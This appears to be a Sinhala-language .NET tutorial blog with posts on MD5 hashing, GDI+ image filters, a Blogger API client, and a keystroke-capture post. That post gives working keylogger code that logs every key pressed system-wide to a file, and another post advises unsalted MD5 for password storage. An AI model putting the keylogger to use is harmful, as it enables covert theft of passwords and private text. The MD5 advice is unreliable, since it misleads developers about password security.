Pages

Monday, December 20, 2010

Calculating The Hash Value

Hash value එකක් කියල කියන්නෙ යම් කිසි File එකක හෝ වෙනත් කිසියම් data එකක ඇති අන්තර්ගතයට අනුව ලබා ගන්නා අගයක්. අපි එක් වරක් යම් කිසි File එකක Hash එක ලබා ගෙන එම File එකෙහි අන්තර්ගතයෙහි යම් කිසි වෙනස් කමක් කර නැවතත් Hash එක ලබා ගත්තොත් එම ලැබෙන Hash එක අපි මුලින් ගත් Hash එකට වඩා වෙනස් වෙනවා. යම් File එකක මුලින් තිබූ අන්තර්ගතය කිසි යම් පුද්ගලයෙකු විසින් හෝ වෙනත් අකාරයකින්(වෛරස් එකක බලපෑමකින්) වෙනස් කර ඇතිද යන්න නිශ්චිතවම දැන ගැනීමට මෙම Hash එක පාවිච්චි කරන්න පුලුවන්.

Hash Value එක ලබා ගැනීමට Hash algorithms පාවිච්චි කරනවා. .NET Framework එකත් සමඟ ප්‍රධාන වශයෙන් Hash algorithms 6 ක් පාවිච්චි කරන්න පුලුවන්. ඒවා නම් MD5, RIPEMD160, SHA1, SHA256, SHA384, SHA512. අපි දැන් බලමු MD5 algorithm එක පාවිච්චි කරල File එකක Hash එක ලබා ගන්නෙ කොහොමද කියල. NET Framework එකෙහි මෙය Implement කරල තියෙන්නෙ MD5CryptoServiceProvider Class එකෙහිය. මුලින්ම පහත Code එක ලියා ගන්න.
Imports System.Security.Cryptography
Imports System.IO
මෙහිදී MD5CryptoServiceProvider Class එක සඳහා System.Security.Cryptography Namespace එකද, File එකක් Open කර ගැනීමට භාවිතා කරන FileStream Class එක සඳහා System.IO Namespace එකද ලබාදී ඇත. ඉන් පසු පහත Code එක ලියා ගන්න.
Private Sub CalculateHash()
   Dim hashAlgo As New MD5CryptoServiceProvider()
   Dim filePath As String = "file path"
   Dim file As New FileStream(filePath, FileMode.Open, FileAccess.Read)
   Dim binary As New BinaryReader(file)
   hashAlgo.ComputeHash(binary.ReadBytes(file.Length))
   MsgBox(Convert.ToBase64String(hashAlgo.Hash))
End Sub
මෙහිදී මුලින්ම hashAlgo නමින් MD5CryptoServiceProvider Class එක භාවිතාකර Object එකක් සාදා ගෙන ඇත. අපි Hash එක ලබා ගැනීමට හාවිතා කරන්නේ මෙම Object  එකයි. ඉන් පසු Hash එක ලබා ගැනීමට අවශ්‍ය File එකෙහි Path එක ලබා දීමට filePath යනුවෙන් Variable එකක් Declare කර ගෙන ඇත. පසුව filePath එක භාවිතා කර file යනුවෙන් FileStream එකක් සාදා ගෙන ඇත. Hash එක ලබා ගැනීම සඳහා අදාල Data, byte array එකක් වශයෙන් ලබා දිය යුතුය. එම නිසා මෙහි binary යනුවෙන් BinaryReader එකක් භාවිතා කර ඇත. BinaryReader එකෙහි ReadBytes Method එක භාවිතා කර FileStream එකෙහි ඇති Data, byte array එකක් වශයෙන් ලබා ගත හැක. අවසානයේදී Hash එක ලබා ගැනීම සඳහා hashAlgo එකෙහි ComputeHash method එක භාවිතා කර ඇත. ලබා ගත් Hash එක බලා ගැනීම සඳහා hashAlgo එකෙහි Hash Method එක භවිතා කරන්න, Hash Method එක මඟින් Return වන්නේ byte array එකකි. එය String එකක් බවට පත් කර ගැනීමට Convert Class එකෙහි ToBase64String Method එක භවිතා කර ඇත. අවසානයේදී String එකක් වශයෙන් ලබාගත් Hash එක පෙන්වීමට Message box එකක් යොදා ගෙන ඇත.

මේ අපි බැලුවෙ File එකක Hash value එක ලබා ගන්න හැටි. දැන් අපි බලමු String එකක Hash එක ලබා ගන්න හැටි. Web site හදන අයට මේක වැදගත් වෙන්න පුලුවන්. අපි හිතමු User accounts පාවිච්චි කරල Log වෙන්න හදන Site එකක් කියල. මෙතනදී කවුරුත් දන්න දේ තමයි අපි මුලින්ම Site එකේ Register වෙද්දි අපි දෙන User name එකයි Password එකයි Database එකක Save කර ගන්න එක. ඊට පස්සෙ නැවත Site එකට Log වෙද්දි අපේ User name එකයි Password එකයි ලබා දීල ඒක Database එකේ Save කරල තියෙන User name එකයි Password එකයී එක්ක ගැලපෙනවනම් Site එකට Log වෙන්න පුලුවන්. දැන් මෙතන තියෙන ප්‍රශ්නෙ තමයි කවුරුහරි Hacher කෙනෙක් මේ Database එක ඇතුලට ගියොත් එයාට ගෙඩි පිටින්ම අර Passwords ලබා ගන්න පුලුවන්. මේක නවත්තන්න තියෙන එක ක්‍රමයක් තමයි Password එක Encrypt කරල Database එකේ Save කර ගන්න එක. Encrypt කරන විදිය ගැන මම ඉදිරි ලිපියක ලියන්නම්. අනිත් ක්‍රමය තමයි Password එක වෙනුවට Password එකේ Hash එක Database එකේ Save කර ගන්න එක. මෙතනදි වෙන්නෙ කෙනෙක් තමන්ගෙ User name එක හා Password එක පාවිච්චි කරල Site එකට Log වෙද්දි ඒ දෙන Password එකේ Hash එක ලබා ගෙන, ඒක Database එකේ තියෙන Password එකේ Hash එකත් එක්ක සන්සන්දනය කිරීමක්. මෙහෙම කලාම යම් විදියකින් Hacker කෙනෙක් Database එකට ඇතුලු වුනත් එයාට නියම Password එක ලබා ගන්න බැරිවෙනව. හොඳයි අපි දැන් බලමු කොහොමද මේක කරන්නෙ කියල. මෙතනදි වෙන්නෙත් කලින් දෙයම තමයි. හැබැයි මෙතනදි File Stream එක හා Binary Reader එක අවශ්‍ය වෙන්නේ නැහැ. පලමුව පහත පරිදි Namespace Import කර ගන්න.
Imports System.Security.Cryptography
Imports System.Text
මෙහිදී Hash එක හොයන්න අවශ්‍ය කරන String එක පාවිච්චි කරල byte array එකක් ලබා ගැනීමට Encoding කියන Class අවශ්‍ය වෙනව. ඒ සඳහා
System.Text Namespace එක පාවිච්චි කරල තියෙනව. දැන් පහත Code එක ලියා ගන්න
Private Sub CalculateHash()
   Dim password As String = "mypassword"
   Dim binary As Byte() = Encoding.ASCII.GetBytes(password)
   Dim hashAlgo As New MD5CryptoServiceProvider()
   hashAlgo.ComputeHash(binary)
   MsgBox(Convert.ToBase64String(hashAlgo.Hash))
End Sub
මෙහිදී Hash එක හොයන්න අවශ්‍ය String එක සඳහා password යනුවෙන් Variable එකක් Declare කර ගෙන තියෙනවා. Encoding.ASCII.GetBytes මගින් String එකෙහි byte array එකක් ලබා ගෙන තියෙනවා. ඊට පසුව ඇති දේවල් පෙර පරිදිමයි.

එහෙනම් අදට නැවතුනා. අයිත් දවසක හම්බ වෙමු. ජයවේවා.

Sunday, December 12, 2010

GDI+ භාවිතයෙන් Pictures වලට Effects යෙදීම - දෙවන කොටස

පසුගිය ලිපියෙන් GDI+ භාවිතා කරල Picture එකකට Effects ලබා දීම ගැන කථා කලා. අද ලිපියෙනුත් තවත් Effects කිහිපයක් ලබා දෙන අකාරය ගැන බලමු.

Brightness එක වැඩි කිරීම.

මේ සඳහා පහත Code එක භාවිතා කරන්න.
Private Sub Brightness()
   Dim img As New Bitmap(picImage.Image)
   Dim colX As Integer
   Progressbar.Maximum = img.Width
   For Xpos = 0 To img.Width - 1
      For Ypos = 0 To img.Height - 1
         colR = img.GetPixel(Xpos, Ypos).R
         colG = img.GetPixel(Xpos, Ypos).G
         colB = img.GetPixel(Xpos, Ypos).B
         colX = (colR + colG + colB) / 3
         colX = colX / 10
         colR = Math.Min((colR + colX), 255)
         colG = Math.Min((colG + colX), 255)
         colB = Math.Min((colB + colX), 255)
         img.SetPixel(Xpos, Ypos, Color.FromArgb(colR, colG, colB))
      Next
      Progressbar.Value = Xpos
   Next
   picImage.Image = img
   Progressbar.Value = 0
End Sub
මෙහි colX = colX / 10 යන්නෙහි 10 වෙනුවට වෙනත් අගයක් යෙදීමෙන් Brightness එක අවශ්‍ය පරිදි වෙනස් කර ගන්න පුලුවන්.

Brightness එක අඩු කිරීම.

මේ සඳහා පහත Code එක භාවිතා කරන්න.
Private Sub Darkness()
   Dim img As New Bitmap(picImage.Image)
   Dim colX As Integer
   Progressbar.Maximum = img.Width
      For Xpos = 0 To img.Width - 1
         For Ypos = 0 To img.Height - 1
            colR = img.GetPixel(Xpos, Ypos).R
            colG = img.GetPixel(Xpos, Ypos).G
            colB = img.GetPixel(Xpos, Ypos).B
            colX = (colR + colG + colB) / 3
            colX = colX / 10
            colR = Math.Min(Math.Abs((colR - colX)), 255)
            colG = Math.Min(Math.Abs((colG - colX)), 255)
            colB = Math.Min(Math.Abs((colB - colX)), 255)
            img.SetPixel(Xpos, Ypos, Color.FromArgb(colR, colG, colB))
         Next
         Progressbar.Value = Xpos
     Next
     picImage.Image = img
     Progressbar.Value = 0
End Sub
මා මෙම ලිපි දෙකෙන්ම ඉදිරිපත් කරපු දේවල් එකතු කරල පොඩි Application එකක් හදල තියෙනව. පහත Link එකෙන් එය Download කරගන්න.

Download

මෙය භාවිතා කිරීමට .NET Framework 2.0 හෝ ඉහල Version එකක් අවශ්‍ය වේ.

Sunday, November 14, 2010

GDI+ භාවිතයෙන් Pictures වලට Effects යෙදීම

GDI+ කියන්නෙ Windows applications සඳහා භාවිතා කල හැකි API එකක්. විවිධ ආකාරයේ Graphics contents පෙන්වීමට හා එවා Print කර ගැනීමට අවශ්‍ය පහසුකම් මින් සපයනවා. අද මම පෙන්වන්න හදන්නෙ GDI+ භාවිතා කරල අපි ලඟ තිබෙන පින්තූරයක විවිධ වෙනස්කම් කරන්නෙ කොහොමද කියලයි. හරියට Photoshop වල Filters දානව වගෙ වැඩක්. මෙහිදී වෙන්නෙ අපේ Image එකේ තියෙන එක එක Pixel එකේ තියෙන Red, Green හා Blue Values වෙන වෙනම සොයාගෙන අපි දාන්න හදන Effect එකට අදාල විදියට වර්ණ වෙනස් කරල නැවතත් එම Pixel එකටම ඇතුලත් කිරීමයි. අපි මුලින්ම බලමු Grayscale effect එක ලබා දෙන්නෙ කොහොමද කියල. මුලින්ම පහතින් දැක් වෙන Variables ටික Class declaration එකට පහලින් Declare කර ගන්න.
Private Xpos As Integer
Private Ypos As Integer
Private colR As Integer
Private colG As Integer
Private colB As Integer
මෙහි Xpos හා Ypos වලින් එක් එක් Pixel එකේ X හා Y අගයන් ලබා ගැනීමද colR, colG හා colB වලින් එක් එක් Pixel එකේ Red, Green හා Blue Values ලබා ගැනීමද කරනවා. දැන් Grayscale effect එක සඳහා පහත Code එක ලියා ගන්න.
Private Sub Grayscale()
   Dim img As New Bitmap(picImage.Image)
   Dim colRGB As Integer
   Progressbar.Maximum = img.Width
   For Xpos = 0 To img.Width - 1
      For Ypos = 0 To img.Height - 1
         colR = img.GetPixel(Xpos, Ypos).R
         colG = img.GetPixel(Xpos, Ypos).G
         colB = img.GetPixel(Xpos, Ypos).B
         colRGB = (colR * 0.33) + (colG * 0.33) + (colB * 0.33)
         img.SetPixel(Xpos, Ypos, Color.FromArgb(colRGB, colRGB, colRGB))
      Next
      Progressbar.Value = Xpos
  Next
  picImage.Image = img
  Progressbar.Value = 0
End Sub
මුලින්ම මෙහි සිදුකර ඇත්තේ img යනුවන් Bitmap Object එකක් සාදා ගැනීමයි. මෙහි Constructor එක වශයෙන් picImage නැමති Picture Box එකෙහි Image එක භාවිතා කර තිබෙනවා. ඉන් පසු For loops දෙකක් භාවිතා කර img Object එකෙහි එක් එක් Pixel එකෙහි ඇති R,G හා B Values Variables වලට අරගෙන තියෙනවා. Bitmap Class එකෙහි GetPixel function එකෙන් Pixel වල වර්ණය ලබා ගත හැකියි. ඉන් පසු කර ඇත්තෙ colRGB යනුවෙන් නව වර්ණයක් සාදා ගැනීමයි. නව වර්ණය සාදා ගැනීම සඳහා එක් එක් R,G හා B Values 0.33 ගුණ කර නැවත ඒ සියල්ල එකට එකතු කර ගෙන ඇත. ඉන් පසු මෙම නව වර්ණය මුලින් වර්ණ ලබා ගත් Pixel එකටම SetPixel Function එක මඟින් ඇතුලත් කර ගෙන තිබෙනවා. අවසානයේ දී picImage.Image = img යන්නෙන් අපි Grayscale අකාරයට වෙනස් කර ගත් img Object එක picImage වල Image එක වශයෙන් ලබා දී තිබෙනවා. මීට අමතරව මා මෙහි Progress bar එකක් ද භාවිතා කර ඇත. පහතින් මම ලබා ගත් මුල් රූපය හා Grayscale ආකාරයට වෙනස් කර ගත් රූපය දක්වා ඇත.



Emboss Effect එක ලබා දීම.

මේ සඳහා පහත Code භාවිතා කරන්න.
Private Sub Emboss(ByVal amount As Byte)
   Dim img As New Bitmap(picImage.Image)
   Dim colR1 As Integer
   Dim colG1 As Integer
   Dim colB1 As Integer
   Progressbar.Maximum = img.Width
   For Xpos = 0 To img.Width - (amount + 1)
      For Ypos = 0 To img.Height - (amount + 1)
         colR = img.GetPixel(Xpos, Ypos).R
         colG = img.GetPixel(Xpos, Ypos).G
         colB = img.GetPixel(Xpos, Ypos).B
         colR1 = img.GetPixel(Xpos + amount, Ypos + amount).R
         colG1 = img.GetPixel(Xpos + amount, Ypos + amount).G
         colB1 = img.GetPixel(Xpos + amount, Ypos + amount).B
         colR = Math.Min(Math.Abs((colR - colR1) + 128), 255)
         colG = Math.Min(Math.Abs((colG - colG1) + 128), 255)
         colB = Math.Min(Math.Abs((colB - colB1) + 128), 255)
         img.SetPixel(Xpos, Ypos, Color.FromArgb(colR, colG, colB))
      Next
      Progressbar.Value = Xpos
   Next
   picImage.Image = img
   Progressbar.Value = 0
End Sub
මෙහිදී ද කලින් මෙන් එක් එක් Pixel එකෙහි වර්ණය ලබා ගෙන එම වර්ණය යම් ආකාරයකට වෙනස් කර නැවත එම Pixel එකටම ආදේශ කරගෙන ඇත. මීට අමතරව මෙහිදී මම amount යනුවෙන් Parameter එකක් භාවිතා කර ඇති අතර මින් Emboss විය යුතු ප්‍රමාණය ලබා දිය හැකිය. පහතින් මම ලබා ගත් මුල් රූපය හා Emboss කර ගත් රූපය දක්වා ඇත.


මීලඟ ලිපියෙන් තවත් Effects කිහිපයක් හා මේ Effects සියල්ල එක් කර සාදා ගත් Application එකක් ලබා දෙන්න බලාපොරොත්තු වෙනවා. එහෙනම් අදට නවතිනව.

Friday, October 8, 2010

Capturing Key Stroke

අද ටිකක් විතර Illegal වැඩක් ගැන ලියන්න හිතුනා. Illegal  කිව්වට ඉතින් මේක Illegal නොවන අවස්ථාත් ඕන තරම් තියෙනව. හැබැයි ඉතින් අපේ කට්ටිය මේව පාවිච්චි කරන්නෙ නම් හොර වැඩ කරන්න. කට්ටිය අහල ඇතිනේ Key loggers ගැන. මේව Hardware device එකක් වෙන්නත් පුළුවන් එහෙමත් නැත්නම් Software එකක් වෙන්නත් පුළුවන්. අද ලියන්න හදන්නෙ මේ Key logger software වල පාවිච්චි කරන්න Key stroke එක Capture කර ගන්න හැටි. දැන් සමහරු හිතනව ඇති මම මේ හොර වැඩ කරන්න උගන්වනව කියල. නමුත් මේක හොර වැඩ වලට වගේම හොර නොවන වැඩ වලටත් පාවිච්චි කරන්න පුළුවන්. ඒක ඉතින් පාවිච්චි කරන කෙනා තීරණය කරාවි.

හරි මෙහෙමයි වැඩේ සිද්ධ වෙන්නෙ. අපිට මේකට අවශ්‍ය වෙනව API එකක්. අපි ඒ Function එක Declare කර ගනිමු. මුලින්ම Code Editor එකේ උඩින්ම මෙහෙම ලියා ගන්න.

Imports System.Runtime.InteropServices

දැන් Class definition එක ඇතුලෙ මෙහෙම ලියා ගන්න.
DllImport("User32.dll")> _
Private Shared Function GetAsyncKeyState(ByVal Key As Integer) As Integer
End Function
GetAsyncKeyState කියන එකෙන් වෙන්නේ යම් කිසි අවස්ථාවක මෙහි Parameter එක වශයෙන් දෙන Key එක Press වෙලාද නැද්ද කියල හොයා ගන්න එක. දැන් Form එකට Timer එකක් එකතු කරගන්න.  Timer එකේ Enabled Property එකත් True කර ගන්න. දැන් Class Definition එකට පහලින් මෙන්න මේ Objects ටික Declare කර ගන්න.
Private fs As New FileStream("C:\Log.txt", FileMode.Append)
Private sw As New StreamWriter(fs)
මෙතනදී කරල තියෙන්නෙ FileStream Object එකක් හා StreamWriter Object එකක් සාදා ගැනීමයි. FileStream එකෙහි Path එක විදියට මම C:\Log.txt කියන එක දීල තියනව. FileModeඑක විදියට Append යන්න භාවිතා කරල තියෙනව. ඊට පස්සෙ Timer එකේ Tick Event handler එක ඇතුලෙ පහල එක ලියාගන්න.
For Each x As Integer In [Enum].GetValues(GetType(Keys))
   If GetAsyncKeyState(x) = -32767 Then
      sw.Write([Enum].GetName(GetType(Keys), x))
      sw.Flush()
   End If
Next
මුලින්ම මම For Each Loop එකක් පාවිච්චි කරල තියනව. ඒ වගේම මෙතන Enum කියන Class එකේ GetValues කියන Function එක පාවිච්චි කරල තියනව. මේ Function එකෙන් වෙන්නෙ යම් කිසි enumerator එකක තියෙන Constants වල Values ලබා ගන්න එක. මෙහිදී Values ලබා ගන්න අවශ්‍ය enumerator එක වශයෙන් Keys කියන enumerator එක දීල තියෙනවා. For Each Loop එකෙන් මෙම ලබා ගන්න Values එකින් එක x කියන Variable එකට දාගන්නව. ඊට පස්සෙ මම If Statement එකත් එක්ක GetAsyncKeyState Function එක Call කරල තියෙනව. මෙතනදී වෙන්නෙ x කියන Variable එකේ තියෙන Key එක මෙම අවස්ථාවේ දී Press වෙලා තියෙනවද නැත්ද කියල බලා ගැනීමයි. ඊලඟ Statement එකෙන් වෙන්නෙ අදාල Key එකෙ Press වෙලා තියනවනම් ඊට අදාල Constant Name එක ලබාගෙන එය File Stream එකට ලිවීමයි. දැන් Program එක Run කරල බලන්න. ඔයගොල්ලො මොන Window එකේ මොනව Type කලත් ඒක FileStream එකේ දීපු Path එකේ Save වේවි. මේකෙත් පොඩි පොඩි අඩුපඩු තියනව. පුලුවන්නම් ඒව හදල හොඳ වැඩකට මේක පාවිච්චි කරන්න. එහෙනම් අදට නැවතුනා.

Tuesday, October 5, 2010

Google Data API

මෙම Post එකෙන් මම ලියන්න හදන්නෙ Google Data API පාවිච්චි කරල .NET වලින්  Blogger සඳහා Client application එකක් හදා ගන්නෙ කොහොමද කියලයි. Google Data API පාවිච්චි කරල අපිට පුළුවන් Google මඟින් සපයන නොයෙකුත් සේවාවන් සමඟ සම්භන්ධ වීමට Applications හදා ගන්න. ඒ කියන්නෙ Blogger, Picasa, Google calendar, Google spreadsheets, YouTube වැනි සේවාවන් සමඟ සම්භන්ධ වීමට අපේම Applications ලියා ගන්න.

මුලින්ම කරන්න ඕන Google Data API Download කරගන්න එක. මේ සඳහා මෙම ලින්ක් එක පාවිච්චි කරන්න. http://code.google.com/p/google-gdata/downloads/detail?name=Google%20Data%20API%20Setup%20%281.6.0.0%29.msi&can=2&q= මේක Download වුනයින් පස්සෙ Install කර ගන්න. මේකත් එක්ක ගොඩක් Sample codes අපට ලබා දෙනව. Blogger client එක සඳහා අවශ්‍ය වෙන codes ද මෙහිදී ලබා ගන්න පුළුවන්. මම බලාපොරොත්තු වෙන්නෙ එම Code එක සරල පැහැදිලි කිරීමක් සහිතව ඉදිරිපත් කරන්නයි. හරි දැන් අපි සූදානම් වැඩේ පටන් ගන්න. මම මේ Program එක  ලියන්න යන්නෙ VB වලින් නමුත් C# වුවද මේ සඳහා භාවිතා කල හැකියි.

ප්‍රථමයෙන්ම මම පහත රූපයෙ දැක්වෙන විදියට User interface එක design කර ගෙන තියෙනවා. මෙහිදී මම User ව Authenticate කර ගන්න User name එක හා Password එක ලබා දීමට Text boxes දෙකක් පාවිච්චි කරල තියනවා. ඒවගේම එම User ට අයිති බ්ලොග් අඩවි පෙන්වීම සඳහා Combo box එකක් පාවිච්චි කරල තියනවා. ඒවගේම Sign in Button එක මඟින් User ව Authenticate කර ගැනීම හා User ට අයිති බ්ලොග් අඩවි Combo box එකෙහි දැක්වීම සිදුකරනවා. පහල කොටසින් Combo box එක මඟින් තෝරා ඇති බ්ලොග් එක සඳහා අළුත් Post එකක් එකතු කිරීම සිදුකරනවා.


දැන් කරන්න තියෙන්නෙ අදාල Class library එක අපෙ Solution එකට සම්භන්ධ කරන එක. ඒ සඳහා Solution explorer හී අපේ Project එක මත Right click කර Add Reference යන්න තෝරා ලැබෙන Dialog box එකෙහි .NET Tab එකට ගොස් එහි ඇති ලිස්ට් එකෙන් Google Data API Core Library යන්න තෝරා OK කරන්න.

දැන් අපි බලමු කොහොමද Codes ලියාගන්නෙ කියලා. මුලින්ම Code editor එකෙහි ඉහලින්ම පහත ආකාරයෙන් ලියාගන්න

Imports Google.GData.Client

දැන් අපිට Google මඟින් අපි ලබා ගන්නා සේවාව කුමක්ද කියා සඳහන් කර ගැනීමක් අවශ්‍ය වෙනවා. ඒ කියන්නේ අපි මෙහිදී පාවිච්චි කරන්නෙ Blogger නිසා  ලබා ගන්නා සේවාව blogger යනුවෙන් සඳහන් කර ගැනීමක් අවශ්‍යයි. මේ සඳහා අපිට Service class එක පාවිච්චි කරන්න පුළුවන්. මෙහි Constructor එකට පහත ආකාරයට ලබා ගන්නා සේවාව හා අපගේ Application එකෙහි නම ලබා දිය යුතුයි. මෙය Instance variable එකක් වශයෙන් class definition එකට පහලින් Declare කරගන්න.
Private service As New Service("blogger", "Blogger Client")
දැන් අපිට Application එක පාවිච්චි කරන User ව Authenticate කර ගන්න ඕන. මේ සඳහා අපිට GDataCredentials class එක පාවිච්චි කරන්න පුළුවන්. දැන් පහත ආකාරයට Code එක ලියාගන්න.
Dim user As String = txtUser.Text
Dim password As String = txtPassword.Text
Dim credential As New GDataCredentials(user, password)
service.Credentials = credential
දැන් අපිට අවශ්‍යයි Authenticate කර ගත් User ට අයිති Blogs ටික Combo blox එකට add කර ගන්න. ඒක පහත ආකාරයෙන් කර ගන්න පුළුවන්.
Dim ServiceQuery As New FeedQuery
ServiceQuery.Uri = New Uri("http://www.blogger.com/feeds/default/blogs")
feed = service.Query(ServiceQuery)
blogs = Nothing
For Each blogs In feed.Entries
   cmbBlog.Items.Add(blogs.Title.Text)
Next 
මෙහි දැක්වූ User ව Authenticate කර ගන්නා කොටස සහ User ට අයිති Blogs ටික Combo blox එකට add කර ගන්නා කොටස් දෙක පහත ආකාරයට Sign in button එකෙහි Click event එකෙහි තිබිය යුතුයි.
Private Sub cmdSign_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdSign.Click
   Dim user As String = txtUser.Text
   Dim password As String = txtPassword.Text
   Dim credential As New GDataCredentials(user, password)
   service.Credentials = credential
   Dim ServiceQuery As New FeedQuery
   ServiceQuery.Uri = New Uri("http://www.blogger.com/feeds/default/blogs")
   feed = service.Query(ServiceQuery)
   blogs = Nothing
   For Each blogs In feed.Entries
      cmbBlog.Items.Add(blogs.Title.Text)
   Next
End Sub
දැන් අපි බලමු මෙහි සිදු කර ඇත්තේ කුමක්ද කියා. ප්‍රථමයෙන් Authenticate කර ගත් User ට අදාල Feed එක සොය ගත යුතු වෙනවා. මෙම Feed එකෙහි එම User විසින් ලියන Blogs සම්භන්ධ විස්තර තියනව. මෙම Feed එක සොයා ගැනීමට FeedQuery class එක හා AtomFeed class එක පාවිච්චි කරන්න පුළුවන්. FeedQuery හී Uri Property එකට http://www.blogger.com/feeds/default/blogs නම් Feed භාවිතා කරන්නේ එම Feed එක මඟින් Authenticate කර ගත් User ට අදාල Feed එක ලබා ගත හැකි නිසයි. දැන් මෙම FeedQuery Object එක කලින් සකස් කරගත් Service Object එකෙහි Query Function එකට ලබා දීමෙන් AtomFeed Object එකක් Return වේ. මෙහි feed යනුවෙන් ඇත්තේ AtomFeed class එක පාවිච්චි කර සාදාගත් Object එකයි. මෙම Object එක මඟින් User ට අදාල Feed එක ලබා ගත හැකියි. මෙය Instance variable එකක් වශයෙන් class definition එකට පහලින් Declare කරගන්න. දැන් AtomFeed Object එකෙන් ලබා ගත් User ට අදාල Feed එකෙන් එම User විසින් ලියන බ්ලොග් අඩවි පිළිබඳ විස්තර වෙන් කර ගනිමු. මේ සඳහා AtomEntry class එක පාවිච්චි කරන්න ඕන. මෙහි blogs යනුවෙන් ඇත්තේ AtomEntry class එක පාවිච්චි කර සාදාගත් Object එකයි. මෙයද Instance variable එකක් වශයෙන් class definition එකට පහලින් Declare කරගන්න. මෙහි අවසානයේ For Each Loop එකක් භාවිතා කිරීමෙන් feed object එකෙහි ඇති entries blogs object එකට ලබා ගෙන එමගින් බ්ලොග් එකෙහි Title එක Combo box එකට add කර ගෙන ඇත.

දැන් මෙම Program එක Run කර බලන්න. දැන් ඔබගේ User name එක හා Password එක ලබා දී Sign in button එක Click කරන්න. මෙහිදී ඔබ නිවැරදි විදියට Authenticate වූවා නම් ඔබ විසින් ලියන Blogs වල Title එක Combo box එකෙහි පෙන්විය යුතුයි.

හොඳයි දැන් අපි බලමු කොහොමද අපේ Blog එකකට අළුත් Post එකක් එකතු කරන්නෙ කියල. මෙහිදී සිදු වන්නේ අපි Combo box එකෙන් අදාල Blog එක තෝරන විට එම Blog එකට අදාල Feed එක සොයා එම Feed එකට අනුව අළුත් Post එකක් එකතු වීමයි. එහෙනම් අපි මුලින්ම බලමු අපි Combo box එකෙන් Blog එකක් තෝරන විට එම Blog එකට අදාල Feed එක සොයා ගන්නේ කොහොමද කියා. මේ සඳහා Combo box එකෙහි SelectedIndexChanged Event එක භාවිතා කරන්න. දැන් මෙම Event handler එක තුල පහත Code එක ලියා ගන්න.
Dim title As String = cmbBlog.SelectedItem
For Each blogs In feed.Entries
   If blogs.Title.Text = title Then
      blogFeed = blogs.FeedUri
      Return
   End If
Next
මෙහිදී සිදු වන්නේ Combo box එකෙහි selected item එක ඒ කියන්නෙ Blog එකෙහි Title එක එම Blog එකෙහි Feed එක තුල ඇත්දැයි බලා තිබේනම් එහි URL එක blogFeed නම් String Variable එක තුලට ලබා ගැනීමයි. මෙහි blogFeed Variable එක Instance variable එකක් වශයෙන් class definition එකට පහලින් Declare කරගන්න. දැන් කල යුතු වන්නේ සොයා ගත් Feed එකට අනුව Post එක එකතු කිරීමයි. මේ සඳහා Submit Button එකෙහි Click Event එක භාවිතා කරන්න. දැන් එහි පහත ආකාරයෙන් ලියා ගන්න.
Dim post As New AtomEntry
Dim postContent As New AtomContent
Dim postfeed As New Uri(blogFeed)
post.Title.Text = txtTitle.Text
postContent.Content = txtPost.Text
post.Content = postContent
service.Insert(postfeed, post)
txtTitle.Clear()
txtPost.Clear()
මෙහිදී service object එකෙහි Insert Method එක භාවිතා කර ඇති අතර එහි Parameters වශයෙන් Blog එකෙහි Feed එක හා අදාල Post එක කුමක්ද යන්න ලබා දී ඇත. Post එක සඳහා AtomEntry Object එකක් භාවිතා කර ඇති අතර ඉන් Post එකෙහි Title එක සැකසිය හැකිය. AtomContent Object එකක් මඟින් Post එකෙහි Content ලබාදී ඇත.

දැන් නැවත Program එක Run කර බලන්න. ඔබගේ User name එක හා Password එක ලබා දී Sign in button එක Click කරන්න. දැන් Combo box එක තුලින් Post එක Publish කිරීමට අවශ්‍ය Blog එක තෝරන්න. Post කිරීමට අවශ්‍ය දෙය හා එහි Title එක පහතින් ලබා දී Submit button එක Click කරන්න. සියල්ල නිවැරදිව සිදුවාවානම් ඔබගේ Post එක ඔබ තේරූ Blog එකෙහි Publish විය යුතුය.

මෙහි සම්පූර්ණ Source code එක ලබා ගැනීමට පහත Link එක භාවිතා කරන්න.

Download

මා මෙය සකස් කර ඇත්තේ .NET Framework 2.0 භාවිතයෙන් නිසා මෙය භාවිතා කිරීමට .NET Framework 2.0 හෝ ඉහල Version එකක් අවශ්‍ය වේ.

Friday, September 24, 2010

මාත් අල්ල ගත්ත කොටි වලිගයක්

ඔන්න එහෙනම් හැමෝටම ආයුබොවන් කිව්ව. අද ඉඳන් මාත් ලියන්න පටන් ගන්නව බ්ලොග් එකක්. ලියනවයි කිව්වට මම ලියන්න නම් එච්චර දක්ෂ නෑ. ඉස්කෝලෙ යන කාලෙ ලිව්වයින් පස්සෙ මං හිතන්නෙ මේ පලවෙනි වතාවට මෙහෙම ලියන්නෙ. කොහොම හරි කමක් නෑ දැන් ඉතිං පටන් ගත්ත එක ලියන්නත් එපැයි. මේකත් කොටි වලිගෙ අල්ලගත්ත වගේ වේවිද දන්නැ. මොකද ඉතින් නොලියම හිටියොත් සින්ඩියෙනුත් එලවනවලුනේ. ඒකයි මම මාතෘකාවත් දැම්මෙ කොටි වලිගෙ අල්ල ගත්තයි කියල. ඔක්කොටම වඩා අමාරු මේ සිංහලෙන් කොටන එක. සිංහලෙන් කොටන්න නම් ඉතිං ඕන තරම් ක්‍රම තිබුනට මට හිතුන මගේම ක්‍රමයක් හදා ගත්තොත් හොඳයි කියල. ඒක නිසා මේ දවස් වල පොඩි සොෆ්ට්වෙයාර් කෑල්ලක් ලියා ගෙන යනව. බලමු ඒකත් ඉක්මනට ඉවර කරගන්න.

අනං මනං කිය කිය හිටියට තාම මං ලියන්නෙ යන්නෙ මොනවද කියල කිව්වෙ නෑනෙ. ප්‍රධාන වශයෙන්නම් ඉතින් ලියන්න බලාපොරොත්තුවෙන්නෙ .NET ගැන තමයි. ඊට අමතරව ඉතින් ඔය කාපු බීපු දෙයක් ගැන හරි ලියන්න බැරියැ. ඇත්තටම මට මේ බ්ලොග් එක ලියන්න හිතුනෙ කරුණු දෙකක් හින්ද. එකක් තමයි මම දන්න දෙයක් කාට හරි කියල දෙන එක. අනෙක තමයි මම නොදන්න දේවල් ඉගෙන ගන්න එක. මොකද ඉතින් මාත් තාම ඉගෙන ගන්න කෙනෙක් නේ. මම ලියන දේවල් වල අඩුපාඩුවක් වැරැද්දක් තිබුනොත් මම හිතනව කවුරු හරි මට ඒක පෙන්නල දේවි කියල. එතකොට ඒකෙනුත් මට මොනවහරි ඉගෙන ගන්න පුළුවන් වේවි නේ. හරි එහෙනම් දැනට මෙච්චරයි. ඊළඟ දවසෙ හොඳවයින් මොනවහරි ටිකකුත් එක්ක හම්බවෙමු. එහෙනම් ගිහිල්ල එන්නම්.